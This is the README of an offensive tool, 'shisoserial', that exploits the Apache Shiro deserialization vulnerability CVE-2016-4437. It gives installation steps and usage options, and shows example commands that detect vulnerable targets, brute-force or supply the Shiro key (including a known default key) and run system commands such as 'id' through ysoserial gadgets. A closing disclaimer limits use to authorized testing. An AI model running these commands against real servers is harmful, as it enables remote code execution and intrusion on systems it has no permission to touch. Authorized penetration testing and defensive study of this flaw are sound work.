4nth0ny1130/shisoserialUn rapido strumento di sfruttamento per la vulnerabilità di deserializzazione di Shiro (CVE-2016-4437) / Un semplice strumento mirato agli attacchi al framework Shiro con ysoserial.
Un rapido strumento di sfruttamento per la vulnerabilità di deserializzazione di Shiro (CVE-2016-4437)
4nth0ny @ Friday Lab
Benvenuti a proporre issues/pr
:)
python 3.x
JDK 1.8
python3 -m pip install -r requirements.txt
per AttributeError: module 'Crypto.Cipher.AES' has no attribute 'MODE_GCM' o No module named 'Crypto'
python3 -m pip uninstall crypto pycryptodome
python3 -m pip install pycryptodome
usage: shisoserial.py [-h] --mode MODE --url [--type default:CBC] [--data] [--key] [--gadget] [--command default:whoami] [--proxies] [--ser] [--thread]
This is a simple tool to attack framework shiro with ysoserial
optional arguments:
-h, --help show this help message and exit
--mode MODE, -m MODE check/crack/yso/echo/encode
--url , -u Target URL address or the file containing the target URL
--type default:CBC, -t default:CBC
Cipher Type, GCM or CBC
--data , -d Using this parameter will make HTTP request with POST method
--key , -k Specify a Shiro Key or will use dictionary brute force cracking
--gadget , -g Specific Ysoserial Gadget
--command default:whoami, -c default:whoami
Specific Execute Command
--proxies , -p Specific Proxy
--ser , -s Specific serialize file name
--thread , -T Specific the number of threads
python3 shisoserial.py -m check -u http://127.0.0.1:8080
python3 shisoserial.py -m crack -u http://*.*.*.*:**** -t CBC -p ****://*.*.*.*:****/
python3 shisoserial.py -m echo -u http://127.0.0.1:8080 -g CommonsCollectionsK1 -c id
python3 shisoserial.py -m crack -u target_urls.txt -k kPH+bIxk5D2deZiIxcaaaA== -d username=1
python3 shisoserial.py -m encode -u target_urls.txt -t cbc -s 1.ser -T 4
Questo strumento può essere utilizzato solo nella costruzione della sicurezza aziendale con sufficiente autorizzazione legale. Durante l'utilizzo di questo strumento, è necessario garantire che tutte le proprie azioni siano conformi alle leggi e ai regolamenti locali. Se durante l'utilizzo di questo strumento si verificano azioni illegali, l'utente si assume tutte le conseguenze; tutti gli sviluppatori e tutti i collaboratori di questo strumento non si assumono alcuna responsabilità legale o connessa. A meno che non abbia letto, compreso e accettato completamente tutti i termini di questo accordo, si prega di non installare e utilizzare questo strumento. L'uso di questo strumento o qualsiasi altra manifestazione esplicita o implicita di accettazione di questo accordo costituirà l'accettazione e l'impegno a rispettare i termini di questo accordo.